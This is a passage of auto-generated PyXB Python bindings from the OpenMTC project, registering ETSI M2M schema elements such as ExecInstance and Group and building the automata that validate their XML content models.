pyxb.namespace.ExpandedName(Namespace, u'accessNetwork')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiRcatParamList.xsd', 32, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) RankedAnList._Automaton = _BuildAutomaton_42() OccuredEvents._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'currentIndex'), trapEventIndex, scope=OccuredEvents, documentation=u'Indicates the rank of the last occured event\n in the table of timeStamps.\n ', location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd', 35, 12))) OccuredEvents._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'trapEventTimeStamp'), pyxb.binding.datatypes.dateTime, scope=OccuredEvents, documentation=u'It is a circular buffer of timeStamps of the\n last occured events. The number of logged events is\n limited to 100.\n ', location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd', 42, 12))) def _BuildAutomaton_43(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_43 del _BuildAutomaton_43 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=1, max=100L, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd', 42, 12)) counters.add(cc_0) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(OccuredEvents._UseForTag( pyxb.namespace.ExpandedName(None, u'currentIndex')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd', 35, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(OccuredEvents._UseForTag( pyxb.namespace.ExpandedName(None, u'trapEventTimeStamp')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/etsiTrapInstance.xsd', 42, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) OccuredEvents._Automaton = _BuildAutomaton_43() ExecInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=ExecInstance, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) ExecInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=ExecInstance, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) ExecInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=ExecInstance, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) ExecInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=ExecInstance, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) ExecInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=ExecInstance, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) ExecInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'execStatus'), ExecStatus, scope=ExecInstance, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 29, 4))) ExecInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'execDisable'), pyxb.binding.datatypes.anyURI, scope=ExecInstance, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 30, 4))) ExecInstance._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'execResult'), ExecResultList, scope=ExecInstance, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 42, 4))) def _BuildAutomaton_44(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_44 del _BuildAutomaton_44 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 13, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 14, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 15, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 16, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 19, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 20, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 21, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 24, 12)) counters.add(cc_7) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 13, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 14, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 15, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 16, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'execStatus')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 19, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'execResult')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 20, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'execDisable')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 21, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(ExecInstance._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 24, 12)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_7, True)])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) ExecInstance._Automaton = _BuildAutomaton_44() ExecResultList._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'execResultItem'), ExecResultItem, scope=ExecResultList, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 45, 12))) def _BuildAutomaton_45(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_45 del _BuildAutomaton_45 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 45, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ExecResultList._UseForTag( pyxb.namespace.ExpandedName(None, u'execResultItem')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 45, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) ExecResultList._Automaton = _BuildAutomaton_45() ExecResultItem._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'name'), pyxb.binding.datatypes.string, scope=ExecResultItem, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 52, 12))) ExecResultItem._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'value'), pyxb.binding.datatypes.anyType, scope=ExecResultItem, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 53, 12))) def _BuildAutomaton_46(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_46 del _BuildAutomaton_46 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse( ExecResultItem._UseForTag(pyxb.namespace.ExpandedName(None, u'name')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 52, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse( ExecResultItem._UseForTag(pyxb.namespace.ExpandedName(None, u'value')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstance.xsd', 53, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) ExecResultItem._Automaton = _BuildAutomaton_46() ExecInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=ExecInstances, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) ExecInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=ExecInstances, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) ExecInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=ExecInstances, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) ExecInstances._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'execInstanceCollection'), NamedReferenceCollection, scope=ExecInstances, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd', 24, 4))) def _BuildAutomaton_47(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_47 del _BuildAutomaton_47 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd', 14, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd', 15, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd', 18, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd', 19, 12)) counters.add(cc_3) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ExecInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd', 14, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(ExecInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd', 15, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(ExecInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'execInstanceCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd', 18, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(ExecInstances._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/execInstances.xsd', 19, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) ExecInstances._Automaton = _BuildAutomaton_47() Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'membersContentAccessRightID'), pyxb.binding.datatypes.anyURI, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 14, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'memberType'), MemberType, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 38, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'currentNrOfMembers'), pyxb.binding.datatypes.long, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 39, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'maxNrOfMembers'), pyxb.binding.datatypes.long, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 40, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'members'), AnyURIList, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 41, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'memberTypeValidated'), pyxb.binding.datatypes.boolean, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 42, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'consistencyStrategy'), ConsistencyStrategy, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 43, 4))) Group._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'membersContentReference'), pyxb.binding.datatypes.anyURI, scope=Group, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 45, 4))) def _BuildAutomaton_48(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_48 del _BuildAutomaton_48 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 18, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 19, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 20, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 21, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 22, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 23, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 24, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 25, 12)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 26, 12)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 27, 12)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 28, 12)) counters.add(cc_10) cc_11 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 29, 12)) counters.add(cc_11) cc_12 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 30, 12)) counters.add(cc_12) cc_13 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 32, 12)) counters.add(cc_13) cc_14 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 33, 12)) counters.add(cc_14) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 18, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 19, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/group.xsd', 20, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Group._UseForTag( 